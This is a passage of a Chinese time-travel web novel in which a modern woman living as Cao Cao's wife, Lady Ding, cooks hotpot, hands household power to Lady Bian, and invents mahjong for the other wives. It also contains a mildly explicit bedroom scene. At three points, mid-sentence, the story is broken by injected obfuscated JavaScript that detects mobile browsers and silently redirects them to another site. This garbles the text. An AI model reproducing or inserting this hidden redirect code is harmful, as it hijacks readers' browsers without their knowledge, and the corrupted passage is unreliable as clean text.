想当年丁夫人如何寻医问药都没怀孕,兴许是近亲结婚的缘故,基因就不协调。 罢了,不干她的事。 七喜扶着丁瑶坐在桌边,给她倒了一杯茶。丁瑶喝一口,缓缓神问七喜:“你见过丁仪吗?” 七喜摇头:“七喜只见植公子在府上招待朋友,没有机会看清楚。夫人方才为何不随了司空的意应下这门亲,还要让丕公子来劝?” 丁瑶意味深长地摇头:“我只是她的继母,哪有说话的份啊!” 这话当然要由曹丕去说啊! 丁瑶本抱着看戏的态度,不愿意蹚浑水,之所以最后劝曹操缓一缓,不是同情曹蓉,而是曹操说植儿和丁仪是好友。 植儿,三公子曹植,是才华横溢的诗人。丁瑶小学就学过《七步诗》,知道他和曹丕争世子最后是输家,若不然哪儿来的相煎何太急。 曹植都输了,丁仪好不到哪儿去。 再说这婚事,曹植的朋友,必然不受曹丕待见。曹丕劝曹蓉,肯定是不嫁丁仪,而推荐自己信得过的人。曹蓉一向和曹丕亲近,姐弟俩一起去求曹操,也许曹操会改变主意。而她丁瑶,既安抚曹蓉情绪,也顺水推舟把拿不定主意的事送给曹丕。 曹蓉将来幸不幸福丁瑶不知道,但曹丕未来可是皇帝,他劝自己姐姐的婚事,就算曹蓉最后不喜欢,也不会怪他。 曹蓉的事丁瑶其实不担心,她比较担心自己。尤其是入睡前,七喜暧昧地说:“夫人,司空大人临走前的话,是什么意思啊?” 丁瑶咬牙说:“就当他被自己女儿气糊涂了吧!” 5. (五)后招 半个月后,长女曹蓉婚事已定,腊月初八嫁给夏侯惇的儿子夏侯楙。 丁瑶听说这一消息时,正在院子里逗弄锦鲤,给鱼儿喂食,看他们在池塘里争抢翻滚,颇为有趣。 七喜在她身后,一五一十说:“……这门婚事是丕公子向曹司空提议的。夏侯将军英勇无双,在司空手下担任要职,为父如此,儿子肯定错不了。据说夏侯楙英姿飒爽,风度翩翩,大小姐听说不用嫁给丁仪了,别提多高兴。父女解开心结,曹司空也十分欣慰。这都多亏了夫人啊!” “我没做什么,都是丕儿劝说的功劳。当然,主要看表哥自己的意思。”丁瑶把最后一点鱼食丢进池子,接过下人递来的手帕净手。“夏侯家同属沛国大户,夏侯楙的父亲曾随表哥一同起兵讨伐董卓,表哥在军事上少不了夏侯家支持。丁家已经有我这位夫人了,即使在加一位丁家姻亲,作用毕竟有限。把长女嫁给夏侯家,笼络夏侯氏,岂不是利益最大化。再说那丁仪眼睛有疾,爱美之心人皆有之,蓉儿与他不了解的话,肯定注重皮相,不愿嫁给丁仪情理之中。如今倒是两全了,既能笼络夏侯家,也能让女儿高兴,何乐而不为呢。” 小丫头听得一知半解,乖乖回话:“夫人说得对。” 丁瑶笑着说:“不理这些琐事了。七喜,帮我去府外买点种子,这假山光秃秃的,我想种点花草。还有院子东南角那片地空着,我可以种点瓜果。” 七喜纳闷:“夫人想吃什么,和府里厨子说便是,何须自己动手?” “这你就不懂了,自己种出来的水果更好吃。快去快去!” 七喜应声:“是。” 东汉末年,物资稀缺。虽然前有西汉张骞出使西域带回葡萄、石榴、核桃、胡萝卜等珍贵农作物,可眼下是战乱年代,物资购买不易,价格昂贵。虽然司空府不缺这点钱,但丁瑶既然有徒手造万物的技能,不用白不用,无需花冤枉钱。 可是不让小丫头出门买些种子做样子,自己凭空捏出花卉果实实在太惹眼,于是丁瑶让七喜出门买东西当幌子。小丫头买回便宜且易得的东西,她自己再神不知鬼不觉变出些好吃好玩的。 哈密瓜、苹果、香蕉、梨子、番茄、土豆、番薯、辣椒…… 口腹之欲满足了,可丁瑶技能消耗太多,整日昏昏沉沉,有时候一睡大半天,七喜怎么喊都喊不醒,把小丫头急坏了,喊大夫进来瞧过几次。 大夫也瞧不出丁瑶有什么病,可实话实说只能证明自己无能,于是便开了一些调理安神的药。 这样丁瑶睡得更沉了。 丁瑶这一睡,十天半个月不见好,可把曹操急坏了。原来一两个月想不起来看丁夫人,如今隔三差五就来嘘寒问暖。丁夫人“病着”,他没有留宿,只是每天都要来陪她待一会儿,这种贵宾待遇放在一群夫人堆里,那就是史无前例。 曹操屋里一群夫人,十个手指头数不过来,可他对谁都没有偏宠。今日看过甲夫人,明天可能就会带乙夫人出门。如果赶上出去打仗两三个月不回来,他都能记得回来第一晚找丙夫人暖房。所以,就连目前最得宠的卞夫人,都没有每日能见到曹操的待遇。 可眼下丁瑶正在“享受”这个待遇。 她每日病殃殃的,有时候曹操来了她都不知道,可曹操只要不出远门,每日必来她院子看她一眼。 后院的女人最爱八卦,丁夫人的事很快传到卞夫人耳朵里。前几日卞夫人觉得丁瑶生病,曹司空多看看是应该的,强忍妒醋。可一连十几天皆是如此,她终于忍不了了。 四下无旁人,卞夫人板着脸,阴阳怪气:“还以为丁姐姐是放不下身段的大家闺秀,不屑和我们争锋,没想到也是个有心机的。仗着生病邀宠,真当自己是病西施了?也不看看什么年纪?” 卞夫人的贴身丫鬟流苏道:“东施效颦罢了,夫人不必放在心上。曹司空对后院那位只是尊敬和同情,对夫人才是真心喜爱,毕竟论容貌、论歌舞,谁能胜得过夫人呢。” 流苏原是想安慰卞夫人,再拍拍马屁。谁知马屁拍在马蹄子上,惹得卞夫人低声呵斥。流苏吓得跪在地上,额头磕地:“奴知错,夫人莫气。” 卞夫人脸色铁青。 她原名卞纾,是春风楼的歌姬,伶人馆当红头牌,一向洁身自好卖艺不卖身。一次她被醉汉调戏欺辱,是女扮男装随曹操听曲的丁瑶出手相助。 卞夫人貌美,曹操一眼看中,把她带回府里。三日后,她成为了卞夫人。她能歌善舞,解风情懂男人,深得曹操喜爱。可渐渐的,伶人馆歌姬身份成为她的掣肘。 丁夫人再不得宠,也是沛国丁氏之女。她卞夫人再得宠,也是艺妓出身。 曹操让卞夫人学着打理府上事务,这是宠爱,可难免有人议论唱歌跳舞的女人德不配位。因此,她最讨厌有人说她能歌善舞。 她是司空府的夫人,不是供人取乐的伶人。 而这位丁夫人,也不像从前看上去那般与世无争。她的养女曹蓉的婚事,居然让曹丕出面。最后既帮曹操笼络了夏侯家,也让父女关系和睦,让曹蓉也对养母态度有所改观。若劝说不成或婚后不幸福,曹操责骂的是曹丕,曹蓉怨的也是曹丕,和她丁瑶扯不上半点关系。 好心机,好手段。 卞夫人问流苏:“丁姐姐近日可好?” 流苏战战兢兢:“奴今早听说,丁夫人今日身体好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555551|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,请了说书先生去院子讲话本。” “哼,生病完了,又想用老把戏把司空吸引过来么。”卞夫人哼了一声,“你起来吧,随我去后院看看丁姐姐,我倒要看她在玩什么把戏。” “是。” 卞夫人和流苏来到后院时,说书先生已经走了。 曹操没有来。 卞夫人心里很得意,站在门口听院子里丁瑶和七喜说话。 “夫人啊,你刚才给说书先生的话本子,是你自己写的?七喜从没听过这么有趣的故事,下次一定要让司空听一听,他肯定喜欢。” 丁瑶:“别声张,我们自己听着了就好,传出去惹麻烦。” 七喜:“知道了。” 卞夫人冷笑。装模作样,还不知她有什么后招。 这时,一股卞夫人从没闻到过的味道从院子里飘出来,很香很浓,勾得人口水生津,但味道很重,直窜鼻子。 流苏忍不住打了个喷嚏。 “谁在外面?”七喜立刻跑出来看,见是一向和自家夫人面和心不和的卞氏,立刻行礼通报。 卞夫人略一点头,走进院子。 只见后院被翻新过,假山前一片小池塘,池塘里养了五条红色锦鲤和两条硕大的金鱼。石头缝里长着不知名的花草,使得原本光秃秃的石山雅致几分,真像个盆景装饰。 院子一角种着瓜果蔬菜,还有葡萄藤,一瞬间卞夫人以为自己来错了地方。直到看见丁瑶,她才确信这真的是丁夫人的后院。 此时的丁瑶坐在回廊下,像厨子一样忙活着。可能是怕味道串屋子,她把方桌支在外面,人坐在铺着水貂毛的椅子上,右手持勺,左手往面前的锅里撒着什么,边撒调料边搅拌。 桌上除了一口锅子,还七碟八碗摆着菜、肉、面食、酱料等。 越是靠近方桌,锅里浓汤的香味越甚。 卞夫人从未见过如此吃食,十分惊讶,走过去问:“多日不见,姐姐这是在做什么?” 丁瑶看她一眼,笑嘻嘻地说:“阿纾来了。原本我想让七喜去请你呢,没想到小丫头慢了一步,你自己先来了。” 卞夫人心中警铃大作:“姐姐何意,不防明示?” “显而易见啊!”丁瑶指着面前的暖锅,“一个人吃火锅多没意思,一起吃才下饭。” “吃饭?” “是的。我身体不好,府上琐事太多颇为烦心,影响我休养生息。我想请阿纾多多帮忙,不好意思直接开口,就请你一顿火锅吧,没有什么矛盾是一顿火锅解决不了的。”丁瑶笑着说。 卞夫人睁大眼睛,难以置信。这个跟她暗中较量了几年的女人,突然甩手不干了? 6. (六)长夜 卞氏阿纾,曹丕、曹植两位名人的生母,历史上有名的卞太后。 她虽出身不好,还曾流落风尘,可生得貌美,极懂察言观色,深得曹操欢心。最后逆袭为丞相府当家主母,曹操百年后她的儿子当上皇帝,她成了太后,可谓拿到草根逆袭大女主的剧本。 丁瑶拥有原身丁夫人的记忆,当初是她看不得醉汉在酒楼闹事,出手帮助卞纾,没想到曹操连歌姬都不放过,丁夫人硬是给自己招来一个最强情敌。尤其在曹操有意让卞纾同她分担府上事务后,丁夫人更加恼怒。接着便有了丁夫人和曹操的那场争吵,有了离家出走,有了丁瑶的穿越。 现如今的丁瑶看卞夫人,当真喜爱得紧。 情敌?谈不上。 分权?有人给她干活还不好。 丁夫人管家端庄大方,刚柔并济,是个能手。可丁瑶不想穿越过来还要上班,过去的牛马日子让她心有余悸。而且周围人事关系她不太了解,虽有原身记忆,可行事风格还是她自己,她不是什么贤良淑德的丁夫人。 一步错步步错,就算曹操不说,丁瑶也想找机会把管家大权转给卞夫人。反正未来她是卞太后,大权早晚是卞纾的。 这不,卞夫人自己闻着火锅味儿过来了。 卞夫人让流苏从火锅里夹了一筷子菜,尝了一口便放下筷子。她看见丁夫人亲自伸着筷子涮肉,惊得眼珠子快掉下来了。 丁瑶的衣服是宽袍大袖,绣花还是许昌最好的绣娘做的花开锦簇图。她却不在意,觉得袖长不太方便,竟把袖子在腕上绕了两圈再拿一根带子系住,把宽大的衣袖变成窄口,方便她吃饭。 从前的丁夫人绝不会如此,没想到离家出走的闹剧过后,人也变得如此奇怪。卞夫人喝了口茶,笑看丁瑶说:“丁姐姐这吃食倒是新鲜,我从未把暖锅端上桌。” 丁瑶说:“天气转凉,屋子里又闷,把锅端出来涮肉涮菜蘸酱吃,胃里暖暖的很舒服。阿纾要是吃不惯辣菜,锅的这一半是清汤。” 卞夫人这才注意这不是一口普通的锅,锅中间加了一道隔板,左右两边一个是红通通的辣汤,一个是香浓的菌汤。只是汤上飘的油花和菜品让她吃惊,这都是她从未见过的菜式。 因为要保持美貌,避免身上有奇怪的体味,她很少吃大油的菜品,也不吃辣食。可眼前的火锅咕嘟嘟沸腾,冒着暖暖热气,似乎把她一直防备丁夫人的心都能暖化了。她一开始先是让流苏帮她夹菜,后来觉得不过瘾,便自己把筷子伸进锅里涮。 一不小心,油花子溅出来,几滴汤汁洒在袖口上。 卞夫人皱皱眉,倒也没恼。 “小心袖子,啊,怪我怪我。七喜,快去给卞夫人准备一下。”丁瑶放下筷子,知会七喜按自己绑袖子的方式,给卞夫人也找一条束带。 丁夫人的丫头暂时离开,卞夫人也找个借口把流苏支走了。 下人们一离开,卞夫人直奔主题:“丁姐姐今日特意请我吃饭,不只是一个人无趣想找人吃饭这么简单吧?” 丁瑶点头,也不藏着掖着:“阿纾说的是,我找你确实有事,准确来说是想请你帮忙。月前我摔下马车受惊,身体一直没有大好,府上的事情我实在有心无力。司空看重阿纾,本有意让你跟我一起管理府上事务,如今我身子不好,便辛苦阿纾全权代劳了。” “这……”卞夫人愣住。原以为丁夫人是想把权力收回去,没想到她干脆不要了。掌管府上账本内务,可是正室最大的权力,哪怕日后年老色衰没了曹操宠爱,也不是彻底失了地位。 丁瑶这是断自己后路?跟曹操怄气?还是欲擒故纵? “此话当真?”卞夫人不敢相信。 丁瑶点头:“自然当真。我那一跤摔的身子骨变弱,精神也没从前好,许多事需要阿纾相助。我膝下无子,也没有操持家事的身体和精力,只希望未来守着一方院子安然度日。” 话外之意就是,我不跟你争,也没资本跟你争,还把仅有的一点权力给你了,你就别把我当假想敌。你干你的事业,我养我的老。 卞纾何等精明,只不知丁瑶是真的放下一切,还是韬光养晦以待来日。她起身,向丁瑶俯身行礼,恭谦道:“多谢丁姐姐好意,只不过我人微言轻,有很多事不懂,还需要丁姐姐多多相助。” “阿纾过谦了。你治家驭下的本领我领教过,有你在我放心。”丁瑶话里有话。前丁夫人没少和卞纾夺权的事置气,如今你卞纾终于可以掌权了,以后干的好还是干的不好,路是自己走的,别和我扯上关系。 正好这时七喜和流苏回来了。流苏见自家夫人屈身跪着,以为遭丁夫人训斥,立马也在丁瑶面前跪下。 丁瑶摆摆手说:“快起来吧,菜煮过了不好吃。流苏,扶你家夫人坐下。七喜,你给卞氏的袖子收拾一下,免得弄脏衣服。” “是。”丫头们应声说。 丁瑶酒足饭饱时,看见有三人走进院子。其中一人是曹蓉,另外两个头戴髻冠的男子分别是长子曹昂和次子曹铄。 曹昂英姿飒爽,被曹操带到军中磨练,常年在外练兵,很少回府。曹铄看起来面色发白,精神不太好,似是长期抱病。 此次难得长子回府,长姐曹蓉婚事已定,曹铄便和兄长、阿姐一起到丁瑶院中向母亲问安。 丁夫人最疼曹昂,曹昂和她更亲近,第一个开口:“听闻母亲近来身体不好,儿子不孝,长期在军营,未能尽孝道。母亲如今身体可好?” 丁瑶笑了笑,温和道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555552|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你看我能吃下这么多饭菜,可见身体无大碍。七喜,加三副碗筷。” “是。”七喜下去准备。卞夫人给流苏一个眼色,流苏跟上去帮忙。 席间,曹蓉红着眼睛,再次向丁瑶表示感激,也对前几日的顶撞和冒失感到抱歉。丁瑶摇头,捂着嘴乐:“瞧蓉儿眼睛红的,怕是吃不惯辣,流眼泪了吧。” 曹昂和曹铄都笑起来。曹蓉也破涕为笑,第一次尝试和养母亲近。 卞夫人定定地看着母慈子孝的热闹场景,那是从前丁夫人院中很少有的。她心里叹气,别看丁瑶摔了一跤身子骨变弱,脑子却原来越好用,有点本事啊。 ** 入夜,四下安静。 十月的秋夜并不寒冷。丁瑶在吊篮摇椅上铺了层绒毯,身上盖件雪白的薄披风,一边摇着摇椅一边仰望星空。 手边的桌案上温了壶梅子酒,捏着杯子小酌两口,别提多惬意。片刻,她有一丝困意,闭上眼睛神游太虚。 曹操走进后院时就看到这样一副场景。 月光洒在她身上,女子闭上双眸躺在摇椅上,嘴角噙着一抹恬静安然的笑容,似乎做着什么美梦。她没有束发,长发随意在脑后绾了个松松的发髻,一缕长发自然垂下,晚风一吹平添几分柔美和婉约。 曹操记得丁瑶一直是严肃的、刻板的,尤其在他面前,恭敬和顺,做事规矩,从没有这般松散悠然自得。 是他从来没有真正了解过丁瑶? 还是丁瑶只对他一人严肃刻板,在自己院子里就是这般纵情随性? 他听说丁瑶把管理家事的权力交给卞纾,以为她是不满他之前对卞氏的宠爱,还在赌气,没想到她竟真不在意,懒得争也不愿抢,干脆让出去乐得逍遥。 丁夫人出走时曹操大怒。可如今夫人回来了,安安静静待在院子里,事事顺着他的意,他反而心里不是滋味。 至少那个和他争吵,敢离家出走的丁瑶,是在意他的。 桌边温着一壶酒。 曹操轻轻走过去,也不介意是丁瑶用过的杯子,自斟自饮一小杯。 酒味香醇,他喝过许多美酒,面前的这杯不算上品,却有着他头次品尝到的香甜。他不由自主俯下身,细细打量着丁瑶。 丁瑶听见响动,悠悠醒来,睁眼便看见曹操近在咫尺的脸,吓得她轻呼一声。七喜听见声音小跑而至,见到曹操立马定住不敢往前了。 曹操头也没回:“还不退下?” 七喜赶紧逃了。 丁瑶暗叹小丫头没义气,下一刻,一个狠厉的吻落在她眉间。 额头吻本应是最温柔最没有情欲的,可她丝毫没感觉到柔情。接着,她毫无反抗之力被人打横抱起,朝内室走去。 7. (七)新的乐子 对于许久不曾有过房.事的丁夫人来说,她的“第一次”还是有些疼痛的。当她躺在床上还未回神时,很快又来了第二次。 这一次时间略长。 唉,躲得过初一躲不过十五啊! 丁瑶闭着眼睛心里默数,期望快点结束,没想到她居然对身上的男人有了反应,情绪被他调动着。 这一发现令丁瑶震惊,诧异之下,紧咬的牙关松开,口中不由发出一声叫人脸红羞耻的低.喃。 丁瑶立刻闭上嘴。 男人在她耳边低笑声,温热的气息让她忍不住战.栗。接着,身下的力.道加重,火热的唇.舌撬开她的嘴唇,让她发出一连串破碎的叫.喊。 待她身体软成泥,被七喜搀扶着去洗漱时,丁瑶脑袋里只剩”下一个念头:她居然被这个男人拿捏了。 第二天日上三竿丁瑶才起床。七喜伺候她漱口更衣,欣喜地对她说今晨司空大人离开院子时,心情极好。 丁瑶脸色一阵红一阵白。她揉揉酸困的腰身,心想幸亏没有侧室每日要向正夫人请安这种狗血剧情,否则她丢人丢大发了。 ** 临近年底,天气越发冷了。 丁瑶画了张设计图,指挥工匠把卧房改造成地暖房,前厅的餐桌改成暖炕桌。往后冬日可烧炕取暖,睡觉不冻脚,吃饭不怕凉。 自此,丁夫人的小院变成司空府唯一的暖空调房。 丁瑶的小心思立刻吸引各房的夫人们,天冷大家都怕冻,曹操又顾不上她们,闲来无事就聚在丁瑶小院取暖、喝茶、聊聊八卦。 曹操是好色的,但不是只好一口的色,环肥燕瘦来者不拒。一生夫人小妾无数,子女没有一个连也有一个排,远超刘备孙权,人丁兴旺啊,打仗生孩子长寿都不耽误。 可即使是好色,也是正事要紧,曹操卷政治卷权力的时候女人都要靠边站。 连日来曹操都在忙,一面为朝堂安稳应对汉庭老臣对迁都的非议,一面为巩固统治拟定明年出征计划,有时太忙太累直接在书房睡下。 这不,曹老板顾不上后院的女人们,大家听说又要打仗,不由紧张起来。 丁瑶一脸淡定地看着这群夫人们小心害怕的模样,就像被秋霜打了的玫瑰花,让人觉得可惜。 如此花一般年纪的女人,却要被一个男人看上强制带回府(当然也有心甘情愿的),每个月都想不起来看她们几次,实在可怜啊。 不过再想一想,乱世生存不易,女人更难,能待在司空府至少吃穿不愁。只要身体没病没灾,不在外面惹事招祸,将来熬着熬着就成王妃了,也是个好归宿。 “还是丁姐姐冷静淡定啊,我一听说要打仗,心就发慌,连觉都睡不着。”才入府不久的李氏捂着心口,杏目微红,小脸缩成一团。她是曹操迁都许昌后新收进房的,从前未经历过战事。 卞夫人一脸鄙夷:“哭哭啼啼没见过世面的样子,目光短浅成何体统。” 李氏顿时噎住。 其他两个与李氏走得近的想张口帮腔,丁瑶抬手制止,一笑说:“怎么?我院中的茶不好喝还是点心不好吃,还能让你们有闲工夫斗嘴?难道不应该一张嘴不够用,一个胃撑不住吗?” “哈,丁姐姐说得对,我从未吃过如此美味的点心,甜而不腻,口齿留香。不知这是何种蜜饯?”卞夫人好奇问。 丁瑶说:“此乃南疆品种,名曰凤梨。” 这是什么玩意?卞夫人微微蹙眉,可又不想让丁瑶觉得她浅薄无知,于是说:“不亏是姐姐,见多识广。” 陈氏指着盘子里红红的、长条形的糕点,问:“这是什么点心?为何吃起来是热的?” 丁瑶一笑:“这叫红果派,就是要热着吃,天凉了暖胃。” 李氏食同嚼蜡,叹口气,忧心忡忡道:“司空大人出征在即,也不知能否在许昌过个平安年,明年何时能归来。” 有人惊讶地说:“这么急吗?可是要和袁绍对上了?我听说那可不是一般人,难缠难打得很。” “真要打起来,胜负难料,万一输了到时候可真要……” “说什么丧气话。我听说袁绍从小和司空大人一起玩,可从没赢过司空大人,吃了不少亏,如今虽统领一方,可面对曹司空,恐怕还是夹着尾巴逃走的份。”桂氏笑说。 众人听了玩笑话,都放松下来,跟着一起乐。 丁瑶微微蹙起了眉。 曹操要打仗,目标会是哪里? 她所知道的几个大战役,应该没那么快。如今迁都许昌朝局不稳,暂避锋芒是上策,曹操和袁绍的官渡之战还有几年时间。 那么曹操的下一个目标和敌人是谁? 刘备还没有发迹,孙权还是小孩儿,袁绍暂时打不过。离许昌最近又有威胁的是谁?长子曹昂是哪一战死的?丁夫人又是什么时候和曹操彻底翻脸,写下休夫书和离的? 丁瑶揉揉额头,只恨自己从前历史剧看少了。哪怕是野史,知道也比不知道强。 战事讨论不出所以然,一群女人又开始讨论曹司空,谁家赏了什么,谁家多了好玩意,谁家得宠最多,一一成了谈资。 最早一批进门的了解曹操脾气,就算有醋意也不表露,一脸云淡风轻。而新进门的正得宠,得意也好失望也罢,心里想什么都写在脸上,叫人一览无余。 丁瑶摇摇头,心里默道:这群女人实在太闲了,才有争宠有勾心斗角。无论是聊政事还是谈八卦,被有心人听去迟早会出问题。虽然她把管家大权交给卞夫人,可大家毕竟聚在自己小院,闲话从丁夫人院子传出去总归不好。 自己以后得立规矩,在她丁瑶院子里,只谈吃喝玩乐,不可争风吃醋,也不能聊外头打打杀杀的事儿。 必须得找一个大家都喜爱,又能打发时间解闷的玩意。 接下来一段日子,丁瑶称病不出,拒绝见客,每日在房间里闭关思考,找点什么乐子打发时间。 养花遛鸟的日子,深闺太太们玩儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555553|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腻了。就连自己院中的锦鲤,她们也都数了个遍,早没投喂食物的兴趣。 别说她们了,丁瑶虽能创造万物,每天只吃吃喝喝听话本的日子也失去了往日的新鲜。丁瑶闷得慌,急需找新乐子。 一屋子夫人显得无聊,那就都陪她一起玩儿吧。 ** 听闻丁夫人入冬以来身体抱恙,曹操派最好的大夫去诊治,又送去不少珍奇药材,可效果甚微。丁夫人每日恹恹茶饭不思,神色倦怠,曹操又不能长时间陪伴,便叫人寻了一块上好的玉石送给丁瑶。 女人无不爱美玉,做成玉冠、玉钗、手镯把玩,总能开心些。 没想到,丁瑶得了玉石确实开心,可才不过一日,她便又开始昏睡了。和之前一样,一睡就是好几天,谁来都叫不醒。 而曹操这几日,心情也极为不好。 昔日跟随汉帝的汉庭老臣,对曹操在朝廷安插曹氏亲贵担任要职的行为愈发不满。虽不敢明面弹劾,却有人暗中结党。 曹操自认为对汉帝刘协不薄,从叛军手里把吃不饱饭的皇帝救出,重修宫殿,好吃好喝的供养,助他稳定朝堂和军心民心,为何那些老臣还不满意。以董承为首的汉臣暗中和其他大臣联手,试图利用后宫给年轻的皇帝吹枕边风,还当他不知道么? 管家福叔见曹司空不停地用手揉着额心,眉头紧促,想来是疲惫至极。他把桌上早已凉透的茶换了盏热的,小心劝曹操:“司空大人,您已在书房熬了几日,奴扶您回房休息吧。再这么熬下去,身体受不住啊。” 曹操淡淡“嗯”了声。 “何夫人擅针灸按摩,司空您若是头痛,何不让夫人帮您按一按缓解一下?” 曹操瞥他一眼,福叔立刻低下头,不敢多话。自己暗中收夫人们好处的事儿,曹司空知道。反正不是什么贵重的礼物,都是手工小玩意儿,曹司空从未追究。可今日曹司空显然不高兴,觉得他多嘴了。 曹操起身:“去李夫人院子。” “是。” 谁想曹操走到李夫人门口,却吃了闭门羹。小丫头急得直冒汗,说李夫人早上去丁夫人院中品茶,天黑也未归。不只是李夫人,同院子的桂夫人和陈夫人也不见了踪影。 福叔奇怪。这三人都是曹操迁都后新进门的夫人,正得宠呢,按说每日都会等着主上,不会天黑不归。难道丁夫人吃醋把她们都叫了去学规矩? “你家夫人何在?”福叔急着问。 小丫头看了福叔一眼,又看向曹操,跪下回话:“司空大人恕罪,我家夫人近几日每天都去丁夫人院中……打牌,可能是玩过头忘了时辰。” 曹操奇怪:“打什么牌?” 小丫头磕头:“奴也不知,听夫人说丁夫人得了块上好玉石,不久前打造一副好牌,名叫麻将,玩法新奇,几个院子的夫人都喜欢去玩。” 曹操脸顿时黑到能滴出墨。原以为阿瑶生病需要静养,不想她把心思都花在这上头,还浪费自己送她的好玉! 8. (八)发展外援 曹操阴沉着脸走到丁瑶院门口,果然听见小院里传来几位夫人的笑声和哗啦啦的打牌声。 没有他的日子,丁瑶过得好不快乐啊! 他胸闷,十分不解。 丁瑶在他面前抱病,在其他人面前欢笑。 管家之权她可以不要,自娱自乐从不减少。 她不但没有吃新夫人们的醋,还同她们玩得不亦乐乎。 她安分规矩从不找他的麻烦,哪怕那一夜他在床上察觉到她的情动,可事后她依然与他保持恭敬距离。 这和当初为卞氏与她争吵,因妾室与他红脸的,是一个人吗? 曹操定在院门口,宛如一座冰雕,半步之内令人生寒。 福叔大为不解。 妻妾欢笑、一团和气是多少老爷求之不得的,为何司空大人不悦? 伺候多年的福叔低头不敢吱声。偏偏黑脸的曹操问他:“阿福,你觉得丁氏此举所为何意?” “这……”福叔实在不知该说什么,可冰窖般的气氛冻得他老骨头直哆嗦。牙关打颤,他笑着说了句:“奴认为,丁夫人贤惠,不愧是司空的正妻,有容人之量,乃大家风范。夫人们相处融洽,后院安宁祥和,司空才能更专注宏图霸业。” “贤惠?”曹操面色更难看。 的确,丁瑶这个正妻当的越发合格了,可他心里,却十分不快。 他是冷落丁瑶很长时间了,接二连三纳了不少侧夫人。可天下男人谁不是三妻四妾,他一直尊敬丁瑶是正妻,不可替代,从前很少去她院子,可不代表不在意她。 丁夫人和他吵同他闹,代表在意他,只要不过分他都可以接受包容。可如今她不闹了,他忍不了。 他可是曹操,他能随心所欲,但绝不允许自己在意的人对他不上心。 福叔到底多吃几年粮,很快反应过来曹操为何生气。这是男人的胜负欲起来了。 他装作嗓子不适,咳嗽了一声。 院子里笑声立刻小了,哗啦啦打牌声也没有了。 脚步声起,似有人急忙走出院子。 曹操冷冷看一眼,转身离开。 福叔恼地拍了下大腿,转身跟曹操而去。 ** 丁瑶听说曹操发脾气,已经是几天以后的事了。 曹操发火有个特点,从不憋屈自己,能发泄出来绝不内耗,任何风吹草动只要不顺他的心,都能让他大发雷霆。 窗外鸟叫吵人,射死。 树枝晃得人心烦,砍了。 但,只见到处躺枪的人,谁也不知道他发火的真正原因是什么。 曹操心思多深啊,绝不让人察觉他的软肋和短处,只是闹得人人害怕,谨小慎微。 曹操的文臣们猜测司空是恼怒朝廷汉臣,思考如何巩固权势。 武将们猜测司空忧虑袁绍和吕布,为发兵的事担忧。尤其是最近几日,曹司空新认命的军师祭酒郭嘉神出鬼没,经常入府和曹操密谈,一谈就是一两个时辰。 自年初戏志才因病去世后,曹操再未如此器重一个幕僚,有他从旁出谋划策,朝堂局势恐怕又有大变了。 而丁瑶担心的,是自己的生活状态和小命。 刚穿过来的丁瑶觉得只要自己不给曹老板找麻烦,不再离家出走,不和小三小四们打架惹老板烦心,她就能安静养老躺平。 如今看似乎不全是这样。 曹老板心情不好,到处都是雷,说不定某天她因为呼吸声大了惹老板不悦,小命就没了。 不是夸张,曹老板的事迹丁瑶在现代知道很多。 对叛臣杀伐决断也罢,对宠妾也说杀就杀。 据说曹老板有位宠姬,就为了让曹老板多睡一会儿没叫他起床,耽误曹老板的事,曹老板一怒之下就把这女的杖责至死。 宁可负天下人,不可天下人负我。 说到做到,太恐怖了。 想让老板高兴,除了安分做好本职工作,必要时候也得揣摩揣摩上司心意,偶尔让上司高兴一下。就算不会溜须拍马,也得知道老板忌讳什么,别踩雷背锅。 若要如此,必须发展外援。 丁瑶虽然不在外面邀功争宠,却对后院的门门道道知晓一二,也知道何夫人、陈夫人这些早年进府的老人儿担心被司空抛之脑后,便偷偷给管家福叔塞钱塞礼物。 因为行贿金额不大,礼物也只是不值钱的小物件,曹操睁一只眼闭一只眼,反正他想去哪房夫人屋子睡也不会听阿福的,他愿意收小钱就收去吧。 丁瑶也需要福叔这样的外援,不为邀宠,而是为了探听外面的消息,知道曹操最近为何心情不好,为何发火,好提早做准备。 比如这一次,曹操已经射死两只鸟,砍掉一棵树,她才知道曹操发火了,这消息确实传得慢了些。万一这两日曹操一昏头来到她院子,她伺候不周触犯禁忌,那可够她喝一壶。 丁瑶院子里下人不算多,贴身丫鬟也就一个。从前是阿蝉,现在是七喜。 经过这段时间的磨合,丁瑶觉得七喜还算乖巧听话,从不乱嚼舌根,是个踏实人。可她的缺点就是太踏实,在后院默默干活是一把好手,想让她出去探听消息,一准露馅。 